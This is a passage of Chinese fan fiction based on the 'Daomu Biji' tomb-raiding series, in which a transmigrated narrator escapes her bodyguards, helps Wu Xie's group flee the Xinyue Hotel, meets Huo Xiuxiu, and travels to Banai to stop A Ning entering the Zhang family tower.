哈士奇拍腿大笑:“哈哈哈林小姐你好前卫……”
“那是,偷偷告诉你,我思想前卫了你们二十年。”
和哈士奇插科打诨,又像个旅游打卡点一样迎接了一群阿宁的手下。
不得不说老外真的很好玩,很热情,他们来我病房又蹦又跳,就差开party了,最后被忍无可忍的保镖像撵鸡一样轰走了。
一个月后,我出院,被阿宁接到一个宅院修养。
我闲不住,带着保镖们在北京到处跑,跑到了北京潘家园,还和胖子喝了两杯。
胖子这人死不着调,喝多了神神秘秘的要带我去一个好玩的地方。
我一时好奇,在保镖们欲言又止的目光里跟着胖子,没想到这厮给我带去了风月场所,几个女模男模笑盈盈一齐涌上来,吓的我拔腿就跑,出去了给胖子一顿爆锤。
这厮还十分委屈,直呼我不知道饭香屁臭,简直离谱。
我黑着脸回去,正巧遇到阿宁开车回来。她最近忙的很,我们都没见几面,还没有见哈士奇那张傻脸多。
“阿宁!”我高兴地迎上去,“你回来了,晚上一起吃饭!?我们还去上次那家!”
我身后的保镖立刻退下,一般阿宁回来,就不需要她们了。
出乎我意料的是,阿宁没有答应,她大步走过来,拉着我手腕,引我去客厅。
她的背影在逃避着什么,电光火石之间,我明白了:“你——要走了,是吗?”
阿宁脚步蓦然停住,保持着拉着我的姿势,我们停在了庭院的小路上。
天色有些暗了,阿宁转过身,语速很快地说:“原本我还不知道怎么跟你说,林霖…你在飞机上猜的没错,巴乃我必须要去……”
我轻轻往回扯我的手腕,手腕上的力道忽然收紧,阿宁急切地上前一步:“林霖!你听我说,我保证巴乃是最后一个地方!老板说这是他的终点,他想要的东西就在里面!只要我们拿到那个东西,我就可以和你……”
我低着头,身体里不知道哪来一股大力和怒火,猛地甩开她,发力之大甚至扯到了肋骨伤,丝丝作痛。
阿宁愣住了,想来扶我,我噔噔噔后退几步,和她拉开了距离。
阿宁声音有些颤抖:“林霖……”
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我心如刀绞,泪水无声地落下来。
我早就知道会有这么一天,心里做了无数遍预演,我以为自己已经可以接受了,可是到头来我发现,还是太高估自己了。
我听到自己冷硬又无所谓地说:“你去呗,你去哪里关我什么事,我拦着你,你就再拿匕首架在我脖子上,威胁我,打晕我呗。我也是可笑,我是你的谁?要管你的事?”
阿宁僵在原地,天色愈发暗淡,我看不清她的神色,也不想看,胸口憋闷的厉害,直想把胖子暴打一顿,好出了这口恶气。
阿宁垂下的手动了动,声音带着一丝难言:“林霖…我对你做过这样的事?”
我不说话,阿宁忽然大步走了过来,我立刻竖起尖刺,抗拒道:“干什么干什么!”
羌的一声,金属嗡鸣颤响,喋血兵器的冷光反射,我头皮一炸,阿宁把匕首抽出来干什么?
她把刀柄朝我:“你很生气,来刺我一刀。”
空气凝结了,我惊诧又难以置信地看着阿宁,她坚毅的鼻梁和下颌线条流畅,月光下泛着和田玉般的光泽。
她压根没在开玩笑,她的眼神是认真的。
见我久久没有动作,匕首在她指尖灵活一转,她正握匕首,就要往自己左臂扎去。
我脑子要炸了,立刻拉住她胳膊:“住手!”阿宁动作停下,我一把夺下匕首,扔地远远的,阿宁没有任何反应。
我简直要暴怒,揪起她的领子大吼:“你是不是疯了!你以为这样我就能消气吗?不是不是……你怎么能用这种这种方法!?难道我会想看到你受伤吗?!”
院子门口突然冲进来一个人,哈士奇左顾右盼找人,没有眼力见地大叫道:“宁!老板找你……你你你们在干什么?”
我的怒火中途卡壳,这才看清我和阿宁贴的有多近,近到能看见她脸上一层绒毛,感受到她的呼吸,和她眼睛里的难过。
我松开她,像是被抽掉了所有的力气,哈士奇落荒而逃,院子里恢复平静,外面传来夏日的蝉鸣。
半晌,我侧着脸,盯着地面说,你走吧。
阿宁动了动,尝试着拉我的手,用力地握了握,像是传递什么力量,让我相信她:“你放心,我会回来的。等你伤好,我请你吃大餐。…我现在还没有记起之前的事,我会回来请你消气的,我保证。”
汽车轰鸣渐远,我听着蝉鸣,无力跌坐在长椅上。
天完全黑下来了,我摁开手机,七月二十五号。
荧光照亮我的脸,我冷静地心算日期。抬头环顾四周的保镖。
一个人犹豫着说:“林小姐,您有什么吩咐吗?”
我的表情可能很可怕,她看到我,表情竟然惊讶了一瞬,很快恢复了正常。
我快速思索着。
我要去巴乃,张家古楼是个死局,死局应该由我这个命数已经注定的人去闯,而不是阿宁。
她是我拼命救下来的人,看着她送死,我做不到。
阿宁不会让我去巴乃,我得甩掉这群保镖。
再等一个月,吴邪他们会来北京大闹新月饭店,那时新月饭店那一片混乱不堪,就是我溜走最好的机会。
我叹了口气,看着夜空的星光,黑色的夜凝视着我。
命运的推手还是把阿宁送去了巴乃,她明明可以去美国。哈士奇说,裘德考建议她去美国治疗失忆,但阿宁为了从肖老板手上带回我,拒绝了。
一直以来,我自以为上帝视角,掌控一切,对书中人怀着近乎高傲的优越感,事不关己的疏离感。
可是我已是局中人,又怎么能旁观者清?
冥冥中,我又是被谁操纵的棋子,书写的命运?
24.混乱
燥热的天气转凉,我的伤完全康复了。
最后一次从医院出来,我自由地伸了个懒腰,漫不经心对几个保镖说:“我康复了,你们也不用跟着我了,都去做自己的事吧。”
一直对我唯命是从的保镖们迟疑了,一个人说:“林小姐,是这样的,宁领队让我们无论如何都跟在你身边,确保你的安全,我们的薪资很高,消极怠工是不被允许的。”
我冷着脸站在原地,医院楼下来往的人不少,我们几个围着实在有点奇怪,不少人都看过来。
保镖们大概没想到我突然发难,有点不知所措,面露难色。
我一看有效果,赶紧乘热打铁。
我冷冷地说:“这究竟是保护还是监视?你们不觉得这样我很不自由吗?说实在的,这是侵犯了我的人身自由权吧。”
这顶帽子一扣上,保镖们大惊失色,连称不敢。
我抬腿就走,几个保镖诚惶诚恐地跟着我,我装作不耐的样子突然停下来,一指周围看我们的人:“你们不觉得这样很奇怪吗?我走到哪都有人看我,连玩都不能玩痛快!”
“不是的林小姐!”保镖有点汗流浃背了,一边跟着我往停车场走一边给另一个人使眼色,我斜眼看到有个人掏出手机,正飞快打字。
保镖还在解释什么,我一把拉开车门,夺下她手里的车钥匙,启动车子。
她也是个够聪明的,怕我一脚油门扔下她,立刻单手撑着前机舱盖,动作十分漂亮地翻到副驾驶,“林小姐您要去哪?要不换我来开吧。”
开车冲出停车场,汇入车流。我咬着牙,作出不高兴的样子。保镖的手机响了,她看了一眼,微笑道:“林小姐,如您所愿,她们都回去了。我跟在您身边帮您拿东西怎么样?”
支走所有人不现实,现在只留她一个保镖,已经做出了很大让步。
我见好就收,脸色稍缓,顿了顿,忍不住问:“阿宁说的?”
保镖看了看我的样子,露出了然的笑。她大概认为我突然发脾气是想获得阿宁的关注。
“是的,宁领队同意了撤走保镖,她很在乎林小姐。”她说着好话。
我很短的笑了下,被保镖捕捉到了,她松了口气,看了看表,提醒我道:“林小姐,您在八月份去王府井一家餐厅用了餐并夸赞了它家的味道,还预定了今天的下午茶,您忘了吗?”
我绷着脸点点头,在路口调头,并且拒绝了换保镖开车的提议。
我看起来就像发过脾气恼羞成怒的人,倔强的坚持自己开车。
保镖并不敢笑我,双手放在膝盖上目视前方,但我能感到她心情不错。
我拉着脸打方向盘,一想到待会儿我要干什么我就想笑。
保镖姐姐你现在就笑吧,待会儿等我逃之夭夭,你的笑容就该转移到我脸上了。
到了地点,我衣角带风地下车,顺手把钥匙揣兜里直奔二楼包厢。
这也是一家高档次的中西结合的餐厅,和新月饭店隔了一条街,八月份我几次来这里吃饭,为的就是探查附近的地理环境,为趁乱跑路做准备。
我有预定,茶点很快上来了,我坐在靠窗的位置,看着低调豪车一个接一个往新月饭店去。
今天就是拍卖会的日期。
新月饭店拍卖会消息保密程度不亚于高考试卷,我明里暗里探查半天都无法获得确切时间,只好从胖子那里套来了消息。
我吃了两口菜,忽然看到三个熟悉的身影。
吴邪三个人从路口走过,都破天荒穿着西装,猛一看另我十分不习惯。
吴邪和闷油瓶倒是人模狗样的,胖子就很寒掺,西装紧巴巴包裹着圆滚滚的身躯,领带扭成麻花,看起来像今天早晨匆忙偷的。
胖子闷油瓶跟在吴邪后面,一左一右,像是少爷的打手,吴邪那气质,像个小开一样,几个人不伦不类、雄赳赳气昂昂地走过去了。
我憋笑半天,估摸着时间,大戏还得等一会儿开幕,吃了一会儿,颇有些食不知味。
我看着手机,下午四点二十。
我靠在软椅上,叫来保镖:“我突然想吃臭豆腐,你去给我买一份。”
保镖愣了愣,但她显然遇见过不知道多少比我更难缠的主人,没有异议,立刻下楼去了,我隐约听到她压低声音叫人来送臭豆腐。
我心里忍不住激动起来,不是为臭豆腐,而是为接下来要做的事。
我凝神听着,果然,在四点二十五,新月饭店那边忽然传来动静,隐隐有人的惊呼!
铁三角小分队开始砸场子了!
心砰砰跳起来,我紧紧抓着车钥匙,做贼一样向下面一瞄。
保镖站在餐厅大门口等着臭豆腐,估计也听到了动静,正皱眉往那边看。
我马上出了包厢,避开服务生,溜进后院停车场,顺利启动了车子。
黑色的奥迪a6流水一样滑出停车场,我飞快地转弯,一脚油门向新月饭店疾驰。
饭店大门口,乌泱泱围了一群保安和伙计,面色不善。吴邪他们正从里面狂奔出来。
一个漂亮的漂移,我嚣张的冲向人群,疯狂鸣笛。
来人不知道我什么路子,哗啦一下散开一大片,惊疑不定地看着我。
我猛踹开车门,对吴邪他们大吼:“快上车!!”
胖子已经挂了彩,看到我,脸色一喜,大吼他就知道我靠得住。几个人立刻窜上后座,我猛踩油门,奥迪a6咆哮着冲出街道,在一众惊恐避退的人群中扬长而去。
一套动作行云流水,不超过五秒,我就像接应刚抢完银行的资深悍匪同伙,熟练的像抢过一个洲的银行。
心说还真是近墨者黑。如今参与这种搞破坏的活动,我竟然做的如此得心应手,甚至还有些隐隐的畅快。
路口一闪而过保镖姐姐那张看起来就聪明的脸,她一只手拎着臭豆腐看样子正打算上楼,转过头一脸呆滞的和我进行了零点二秒的对视。
我忍不住笑起来,有种自己脱离掌控的酣畅之意。
“你怎么来了!?”吴邪大喘气,吃惊地瞪我,一边系安全带一边问,下巴都快掉到地上了。
“掐指一算,今日你有此劫啊。”我摇头晃脑得意地说。
胖子龇牙咧嘴,一身酒味混杂着血气,笑骂道:“我说你打听吴邪干什么,敢情是早有预谋!快跑快跑,他们追来了!”
眼睛注意着后视镜,很快一辆面包车七拐八拐冲了出来,紧紧咬着我们车屁股。
余光一闪,黑影猛冲过来,我大叫一声:“不好!!”
轰——
一声炸响,车身猛地一震,安全气囊立
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刻弹出,狠狠给了我的脸一拳。
副驾驶玻璃全碎,我一看,右边巷子怼上来一辆车,撞的右车身凹陷,几乎卡住了吴邪的腿。
还没来得及喘口气,紧接着后面又是一声巨响,面包车悍然撞了上来。车子立刻熄火,冒出大量白烟。
剧烈撞击使我头晕眼花,透过混杂的汽油味的白烟,我看到后视镜里面包车上骂骂咧咧下来一堆人,拎着钢管朝我们走了过来。
我顾不得头疼,立刻重新发动车子,那些人立刻冲了上来,狂拉车门。车子还能动,发出拖拉机似的轰鸣,又向前冲出一段距离甩开他们。
有机灵的伙计扒着车门,壁虎一样紧贴着,砰砰狂锤车窗,玻璃发出可怕的炸响,暴徒与我仅隔着一玻璃厚度的距离。
我毫不迟疑猛向左靠墙,车身悍然和墙拉近距离,马上他就要被墙体和车身挤压碾成肉饼,他被迫松了手,从我的窗户上滚了下去。
不幸的是车子似乎因为接二连三的猛烈撞击,内部出故障了,它冲了几百米,发出一声巨响,彻底熄火,前引擎盖很快冒出黑烟。
吴邪见状大骂一声,拔出自己的腿,冲了下去。
“林霖!你快跑!”吴邪大吼,他们几个迅速下了车,看样子准备赤手空拳干架。
十几个钢管暴徒们眼看着就冲了上来,吴邪他们头铁地迎上去,现场立刻乱作一团。
在这种群架中,闷油瓶非常扎眼,一人横扫一片,动作中充满了暴力美学,看得我暗暗心惊。
我心知自己帮不上什么忙,下了车就往前跑,没想到有个伙计不知道被谁一脚踹过来,贴地滑行了两三米,踉踉跄跄爬起来,赤红着眼盯住我。
我一看,心里有点凉,冤家路窄,此人正是那个扒着我车门差点被我碾死的伙计,他朝地上狠狠呸了口血沫,杀红了眼挥舞着钢管拔腿就冲了上来。
我吓得肝胆俱裂,这一棍子我要是挨了,恐怕脑袋能开瓢吃烫脑花了。立刻撒丫子没命地狂奔。
前面巷子,突然斜着冲出来一辆红旗车,飞快地下来一个穿唐装的秀丽女孩。
这里离混战的吴邪他们有三百多米,她也没想到这里竟然有个逃命的人,我俩都愣了一下。
与此同时,后面的伙计久久追不到我,勃然大怒,狂骂一声,轮着胳膊就把钢管砸过来。
钢管飞舞呼呼声极速逼近,我已经跑到了她面前,如果我往旁边躲开,钢管极有可能会砸到她。
我大叫道:“快闪开!”说着就伸出手,要把她往一旁扯开。
没想到的是,女孩眼睛一眯,丝毫没有惊慌之色,拂开我的手,同时像个古典舞演员一样跳起来做了个飞脚的动作,大裙摆扬起一个非常好看的弧度。
她一脚踹飞了空中的钢管,落地非常稳。似乎是踢的有点痛,不满地甩了甩腿,瞅了我一眼,对那伙计点点下巴:“喂,你追她干什么?”
我在旁边几乎看呆了,空中高速移动的钢管,她一脚就踢飞了,那个力度必然不小。踢腿要掌握的时机更是要求人有非常的敏捷性。普通人根本不可能做到。
伙计盯了她一眼,眼中有浓浓的忌惮之色,竟然看也不看我,转身就跑。
我看着女孩白皙的侧脸和头上精致的乌木簪子,电光火石之间,我脱口而出:“你是,霍秀秀?”
25.秀秀
她奇怪地看我一眼:“你认识我?”说着,她蹦起来招手:“吴邪这边这边!”
不远处,闷油瓶一棍干爆孙琉璃脑门,紧接着,三个人狼狈地狂奔过来,身后跟着几个零散人员,阴暗地躲在一边看我们。
她招呼一声快上车,钻入车门时扫我一眼,犹豫了下,一指后面那辆跟着的红旗车:“你去那辆。”
我点点头,飞快上车,车队一路向西,很快甩开追捕的人,进入一片大院小区。
大院很有派头,汽车缓缓进入,一股老北京城的旧味儿扑面而来,四周大树下面停了不少红旗车。
下了车,吴邪他们把伤口处理了下,三个人被引进大院深处。
吴邪临走在看我,眉宇间有点担心,秀秀从鼻子里轻哼一声:“放心吧吴邪哥哥,我不会把你的朋友怎么样的。”
我挠了挠头,跟着霍家的伙计去了偏房,人对我很客气,上了茶和糕点。
我也不问问题,对伙计礼貌道谢,在椅子上坐下来,掏出一直在响的手机:“喂?”
不是保镖姐姐,是阿宁。
她在那边沉默着,呼吸有点急。
从她去了巴乃,我就再也没给她打过一个电话,偶尔她打过来,我也给她挂了,这是我们这一个多月来第一次通话。
我不知道自己怀着一种什么心理不接电话,也许是赌气,也许是心里怨她。
她开口没有责怪我也没有训斥我,而是像拉家常一样平静。
“林霖,你没受伤吧?”阿宁声音沙哑,沉闷,电话背景音嘈杂,我听到那边的水声和她手下叽里咕噜的英语。
闷声干大事的快感陡然间潮水般褪去,我心里突然升起一股烦躁。我参与进这么大的事,她为什么不生气?她怎么能用这么平直,毫无波澜的语气说话?
难道说对她来说我是一个无所吊谓的路人,并不能牵动她的情绪?
还是说她这样的包容,是因为我快要嘎了,她对一个将死之人的纵容?
这都是什么?我心里烦闷的厉害。
“没有,我好得很。”我僵硬地回答,想了想,挑衅地说:“我把你的车开炸了。”
话一说完,我屏住呼吸,等待她的反应。
“没事。”阿宁说,“坏了就坏了,不重要……”
我立刻打断她,恶劣地说:“我看到新月饭店的人卸了车牌,带走了……现在估计查到了我是你们的人,新月饭店恐怕正在向裘德考讨要说法吧?哈哈,我给你惹了大麻烦。从此你们的人进入北京城就会遭到拦截,新月的势力将全方位对你们进行精准打击……”
“咳…”一声忍不住的轻笑,虽然她化作咳嗽掩饰,但依然清晰传入我的耳道。
我的声音戛然而止,兜头像是一盆凉水浇下来,紧接着怒火狂卷顺着耳道席卷大脑,脑子轰地一下炸了,我狠狠一拍桌子,精致茶具跳起来,碰撞声清脆。
这样她都不生气?我冷笑连连:“宁领队真是心胸开阔!阿宁,你这么聪明,不如猜猜我甩开保镖,和吴邪他们混在一起,想干什么?!”
那边果然没了声音,我在腿上狂搓着拍红的手,心里终于舒坦了点。
阿宁的语气终于变了,她严厉地说:“你要来巴乃?绝对不行!”
我的逆反心理一下涌了上来:“你说不行就不行?凭什么?!你去就可以,我去就不行,这是什么道理!”
“林霖你听我说。”阿宁语速加快,似乎是往偏僻处走了几步,背景音分贝降低,她压低声音。
“巴乃这个地方有点奇怪,我们发现了一个奇怪的深湖,派出去一队探查,配备的都是最好的装备,但他们全都不见了。现在一个人都联系不上,根据最后传来的零碎消息,这里有极其诡异的东西。”
她深吸了口气:“吴邪他们几天前也在这里,抢了我们的水肺。目前我们还下不了湖,在不断寻找地下入口。”
我心说吴邪可算靠谱了一次,就听她继续说:“他们还会回来的,你就是抓住了这个机会要和他们一起来?林霖啊林霖,有时候我不得不佩服你的神机妙算,足不出户能预判千里之外,我是不是该叫你小诸葛?但就算我求你一次,你别来,这不是你能呆的地方。”
我心里不快活:“你也知道那里很危险!能保证你不下去吗?你如果能保证,我一个屁都不多说,立马滚回保镖身边,老老实实在家浇花睡觉。”
她不说话了,似乎被我气到了,我梗着脖子瞪空气,虽然她看不见,但我气势不能输。
门口进来霍家的伙计,我连忙收敛眼神,他看我在打电话,安静地对我做了个请的手势。
“我这边有事,我挂了。”
我摁灭手机,站起身整整衣服,跟着他出去。
穿过走廊,他把我引到一间稍大一点的屋子,里面霍秀秀吴邪他们都等着我。
秀秀好奇地打量我一圈:“会算命的姐姐?”
秀秀长的非常好看,琼鼻朱唇,眼睛又大又灵动,整个人一股子狡黠的机灵感。
我脸有点发烫,挠挠头,说还好还好。
她看起来兴冲冲的,像是马上开口让我给她算一卦,吴邪按着伤口赶紧抢先道:“林霖!你怎么打算?”
秀秀对他扮了个鬼脸,说:“还能怎么办,现在外面到处都是抓她的人,她出去了就是送死。还不都是你们连累了这个姐姐。”
吴邪一愣,想了想还真是,于是十分愧疚地看着我。
这傻子,被卖了还帮人数钱。我难绷地做出和他姐俩好的样子,大度地摆手。
吴邪更愧疚了,对秀秀说:“那个,秀秀,你能不能帮个忙,把她送出北京,去…去杭州我的铺子,王盟在。”
秀秀转了转眼珠,夸奖道:“吴邪你可真聪明!”
胖子身上还带伤,瞅着我,龇牙咧嘴按着伤口:“等等,我看小林这样子有自己的打算啊,你们要给人送杭州人还不一定愿意去呢。”
所有人一愣,都看着我。
我也没想到胖子这么心细,无奈地说:“不用送我去杭州,送我出北京就行。”
等出了北京,甩掉这个烂摊子和满北京通缉我的伙计,我立刻动身去巴乃,说不定还能赶在霍家的队伍前面到巴乃。
五天后他们将分成两队,吴邪小花去四川四姑娘山,霍家闷油瓶胖子去巴乃,进行同步锁的解密。
阿宁他们很快就行进行下一批人的探索,时间紧迫,我必须在她进入张家古楼之前赶到,阻止她。
这一次,就算拿枪顶着她的头,我也绝不能让她进去。
秀秀的俊脸忽然放大,离我只有一掌距离,眨巴眨巴眼看我:“姐姐,你想什么呢,眼神这么坚定?”
我被吓的一个后仰,秀秀咯咯笑着,很快笑意一收,
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说:“方法可行,但风险太大,无论是把林小姐送出北京还是送去杭州,都有被截的危险。而且吴邪你傻了?夸你你还真信了,就你那铺子,你用猪脑子想一想也知道肯定被人盯住了,太笨啦!”
秀秀啧啧摇头,歪了歪头,“别急,问题总会有办法解决。你们先休息,这位姐姐我带走了。”
吴邪想拦,秀秀一瞪眼:“干嘛?你们三个男的跟人家单处一室?懂不懂避嫌啊?”
这话吓的吴邪直缩手,欲言又止地看了我一眼,我暗暗摇头,一指口袋,示意手机联系。
秀秀在前面一蹦一跳,身形轻快灵动,这个古灵精怪的小姑娘,谁见了心里都很难不生出好感。
秀秀得霍仙姑器重,从小带在身边,是把她当做霍家继承人培养的。
霍老太太显然很宠爱她,在老九门这样游走在黑灰地带的黑/道家族,竟然把她养的像单纯的富家千金。
老太太自认老当益壮,不让秀秀过多参与家族中阴暗晦涩之事,认为自己还能多护她几年,让秀秀在她羽翼中慢慢长大。
可世事无常,谁又能想到,霍家至高无上的君主,叱咤风云一辈子的皇帝,经历家国动荡,政权巨变,依然能稳稳驾驶霍家这条巨艇,完整保存霍家庞大实力的霍老太太会折戟于小小巴乃?
秀秀聪慧有余,狠心却不够,这样的人,现在,还当不了霍家掌门人。
我忽然想起巴乃之后,吴邪从张家古楼带着霍老太太的头颅回来,秀秀是怎么在崩溃中接下了最爱她的奶奶的头颅,又是怎么在家族众多虎视眈眈姊妹兄弟中杀出一条血路?
她怎么以短短几个星期的时间,咬着牙以血和泪的代价学会了奶奶那些没来得及教她的残酷手段?她又是怎么用族亲滚烫的鲜血,淬炼重生成了新一代的霍家掌门人?
秀秀带我上车,没坐副驾驶,反而在后座和我贴到一起,亲亲热热叫道:“林姐姐,吴邪说你会算命,我的名字真的是你算出来的吗?”
她言语热切,像是对我完全不设防,我不敢小觑她,端坐着否认了,扯了之前在哪哪见过别人喊她秀秀小姐,今天乍一见面,认出来的。
秀秀不肯放过我,玩心大起让我算关于她许多东西,知道的我就说,不知道的硬着头皮蒙。
秀秀玩的不亦乐乎,忽然,她手机响了,她哼哼着接起来,撒娇道:“喂?奶奶?”“好,我知道啦……会的会的。”
她挂了电话,立刻盯着我,对我道:“喂!你那时什么眼神?奇奇怪怪的!”
我立刻敛了神色,秀秀揪着我,好奇炸了:“你说话呀林姐姐,你刚刚眼神好怪!”
秀秀做愤恨状:“我最讨厌话说一半含含糊糊神神叨叨奇奇怪怪的人了!”
我如实说:“我也讨厌。”
我恍惚一瞬,脑子里忽然想,人好像就是渐渐会长成小时候最讨厌的样子。
秀秀魔音贯耳。
“那你还这样!你刚刚眼睛里绝对有话要说!快告诉我!”
“你不会是时灵是不灵的卦算出来了吧?!快点告诉我!不说我把你丢下去哦。”
最后连威胁都用上了,我头大起来,瞟了眼安静如背景板的司机,扯了下秀秀衣服,她立刻上道地凑近。
我犹豫了下,最终在她一叠声的催促中,贴着她的耳朵,极轻极轻说:“你能不能,别让霍老太太去巴乃?”
26.巴乃
秀秀奇道:“为什么?——你怎么知道我们要去?”
“算的算的。”我含混地说,“老太太一把年纪了,不适合长途跋涉。”
她吐吐舌头,靠回了椅背:“但是我奶奶是一个十分固执的人,她做的决定,谁都改变不了。”
“连你也不行吗?”我问。
秀秀很老成的叹了口气:“不行,要是别的什么事情还有可能。可是这次是关于我姑姑霍玲的线索,奶奶找了姑姑这么多年,她不可能不去。我虽然是奶奶最疼的孙女,可是姑姑是她的女儿啊,换谁谁不急呢?”
我看着若有所思的秀秀,忽然感到一股悔意和寒意直冲头顶,我头皮发麻,开始怀疑我是不是做错了。
如果霍老太太依然死在了巴乃,那么秀秀以后每一次想起这次和我的对话,她会不会不断的后悔,会不会忍不住想,假如那时她拼尽全力阻止了奶奶,这一切悲剧是不是都不会发生了?
我如果没有提出这个可能,秀秀也许也就认命的接受了奶奶的死讯。可是糟糕的是,我为她提供了另一条路,而她没有在意。
人这一辈子,最万万不可以想的,就是“假如那时”四个字。
这会像一根深深扎在她心里的刺,永远折磨她一辈子。
我的手颤抖起来,我没有想到,我怎么能没有想到这一层?我说话做事为什么不三思而后行?
我害了她,此刻我无比清晰的知道。
我颓然地双手抱头,那么一瞬间想扇自己两巴掌。
……
最终我没有被送走,我告诉吴邪我也要去巴乃,他说给我想办法。
吴邪应该是说了什么,我作为“枪法好的编外人员”破格录入霍家的队伍,几天后顺利到达了广西巴乃。
广西多山,一路8字型的盘山公路要了我半条命,吐的昏天黑地,一车的人偷笑看着我哇哇吐,十分悲惨。
我名义上是后勤人员,霍家的伙计并没把我当回事儿,也没打算支我干活,到了巴乃的村子把我甩到医务室就去湖边了。
我吐的脱水,挂了两瓶生理盐水才缓过来,我观察到,巴乃的瑶寨里多了很多生面孔,一看就不是本地人。
跟村医打听了下,果然有一些老外前不久来转悠,后来就不见了,但零散还能看到他们在山里的身影。
忍不住问他有没有看到阿宁,“一个老外里面的中国人,短发,高个子,脸色比较严肃,他们都喊她宁领队。”
村医回想了下,一拍手,说话没什么口音:“嘿,我还真有印象,她是不是腰上别个对讲机,干什么都很利落,雷厉风行的,很有派头,有点…那什么令行禁止的感觉。”
我点点头,看他一眼。
心说这村医还挺有文化,会用成语,普通话说的蛮标准。
我问他最后一次看到阿宁是什么时候,村医说:“没多久,也就一周前。”
打完针,我到霍家租下来的房间里休息,这个村子被作为一个物资中转站,许多空房都被霍家租下来了。
房子的女主人很殷勤,霍家租这么多空房对村民来说是一笔额外的收入,对我们所有“城里来的老板”村民们都笑脸相迎。
她给我准备了农家菜和一种酸酸甜甜的果子,说是对晕车有奇效。
我吃吃喝喝,感觉整个人才重新活过来,大脑有精力想自己的事。
我怎么样才能阻止阿宁?我摸摸自己的脸,我和阿宁还有她手下太熟了,我一露面阿宁肯定就知道我来了。
如果我有一张人皮面具就好了,不,这也不行,陌生人靠近裘德考他们队伍说不定会被抓起来。
我敲敲脑袋,走到梳妆镜前端详自己。
我穿着霍家发下来的统一装备,外面一件冲锋衣,里面一件高弹性不束缚的紧身体恤,我们所有人都这么穿。
她们穿上肌肉线条流畅,衣服下面起伏着猎豹般的警觉和力量感。
我穿虽然差点意思,但也挺好看的。
我自恋的想着,忽然灵光一闪。我们穿的都一样,阿宁难道能一个一个盯着这边看,找我?
他们忙着探路,霍家又和裘德考是两个势力,扎营必然不可能紧挨着。
谁有时间来分辨我们这边都穿的一样的人堆里面有没有我?
先靠近观察一下阿宁的动向,再伺机而动。不行我就偷偷放冷枪,我摸着腰间配的枪,冷酷地想,最好让阿宁吓一跳能崴个脚什么的,让她失去行动能力。
再不济打她个擦伤,裘德考不会丧心病狂派伤员探险。
最下策才是指着阿宁脑袋威胁她,无论用我的命还是用阿宁的命威胁她都蠢到家了。
不到万不得已我不想这样做。
下定决心了,我问女主人要了把剪刀,咔嚓咔嚓把我留了很久的长发剪了。
特征太明显,容易被阿宁发现。
我把头发剪成齐耳短发,镜子里的自己多了份英气,眼睛像两把火焰一样灼灼燃烧着。
就算燃尽最后的生命,我也要保住她。
我微微一笑,明知山有虎,偏向虎山行,巴乃有多危险我比谁都清楚,我竟然真的不要命的来了。阿宁啊阿宁,这次我真是为你拼了命了。
……
跟着霍家伙计,翻了几个山头到湖边营帐,她们手脚麻利,我打个吊水的时间已经搭起了帐篷,各个区域泾渭分明,来往人员井井有条。
胖子围着篝火,在烤一只鸭子,看我在那左顾右盼,大嗓门嗷唠一声叫我,惊飞林子里几只鸟,不少人皱眉侧目。
我忙扑过去:“你要死啊你喊这么大声!”
胖子不以为意,顺手给我捞了个小马扎,“没事,没事,我知道你在担心什么,裘德考的人在林子那边,你看。”
他指着湖的另一边,距离我们两百米的样子,林子缝隙里透出来蓝色帐篷,那边湖岸还有几个老外在玩打水漂。
胖子撕了一小块鸭肉递给我,大喇喇说:“你这小姑娘有心思,胖爷我多少能揣摩点。你来巴乃,和阿宁那女人有关,对不?我不知道你执意要过来找罪受干嘛,反正和阿宁脱不了关系。”
我坐下来,接了鸭肉,狐疑的闻了闻,倒挺香。
“是又怎么样?还有,你放尊重点,什么叫那女人。”我说。
胖子美滋滋吃了一口鸭肉,摇摇头说:“嗐,不怎么样,我看你就在她这一个歪脖子树上吊死
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了。北京城里那么多美女,你喜欢啥样的不行,非得喜欢她。她杀人不眨眼你知道吗。亏我胖爷发善心请你去会所玩,想拯救一下迷途少女,你捂着肋骨跑的比兔子还快!”
我笑骂一句:“你真是够了,我一个伤患你带我去那种地方,真嫌我命长啊。”
胖子贼眉鼠眼看了一圈,凑近我,盯了下我的短发,说:“说正经的,你想干什么告诉我,我能帮你一把。”
我有些心动,胖子这人歪点子多,说不定还正能帮上我忙,我低声把我想法一说,胖子啧啧称奇:“年轻人就是有干劲,颇有胖爷我年轻的时候遗风啊!”
“得了吧,遗风是用在死人身上的你这个文盲。”我说,“别给自己脸上贴金,快说你有什么建议。”
胖子沉吟了会儿,说:“你看这样,你要是不怕死,我们下地你跟着我们,阿宁他们也在探路,到时候你找个时机偷袭阿宁,把她打昏。她自然就没法继续了。”
我犹豫了下:“可是我不是霍家人,她们不太可能让我跟着队伍。”
“那有什么?”胖子拍胸脯跟我打包票,眼睛里尽是狡诈的光:“我说的,他们不同意我就一哭二闹三上吊,保管你混进队伍。”
有胖子的帮忙,我心里稍微安定了点,起码不是我一个人筹划一切了。
胖子说到做到,不知道用什么办法说动了霍家人,第二天先行的队伍出发,我混在中间。
湖底早有人潜下去看过,上来把图一画,霍老太太根据样式雷,更加确定附近大山中隐藏着张家古楼的其他部分。
专业队伍十分靠谱,我在里面打酱油看他们辨方位,走洞穴,山体夹缝,很快深入了十万大山内部。
其中过程苦不堪言,有好几个伙计明显对我有意见,在一个陡峭的沟坡,胖子拉我一把的时候,一个人出声嘲讽:“林小姐这就不行了?就这体质还硬要下来干什么?拖我们后腿吗?哈哈哈。”
“哎,人家要来找死我们也不能拦着,是吧?千金小姐想来体验生活,多多帮衬下也是应该的嘛。”
几个人挤眉弄眼齐声笑起来,夸张又难听。
胖子眼睛一瞪就要发作,我扯过他,低声道:“算了,口舌之争没必要,他们说的也没错。”我苦笑了下,“我确实弱了点。”
胖子愣了下,拍拍我肩膀:“不关你事。”
接着对几个伙计说:“嘿我就搞不明白了,她一没喊苦二没叫累,到现在你走了多少路她就走了多少路。人也没让你帮忙,你叫几把叫?!我知道你们当家的高价夹了我喇嘛,你们心里不高兴!对胖爷有什么不满就冲我来!揪着一个小姑娘不放你算个什么狗屁玩意儿!”
胖子骂人一股京腔,机关枪似的又快又顺溜,那几个伙计在霍家也是有面儿的,脸色顿时就沉了下来。
一个人冷笑着要反唇相讥,走在前头的闷油瓶突然道:“闭嘴。”
他一路上没说过话,此刻一开口,立刻就镇住了所有人,有听力好的伙计轻声说:“有人过来了。”
我屏住呼吸,我们在的地方是一个深深的沟谷,现在贴着崖壁,隐约听见上面有人说话。
“宁,接下来我们往哪里走?”
27.落单
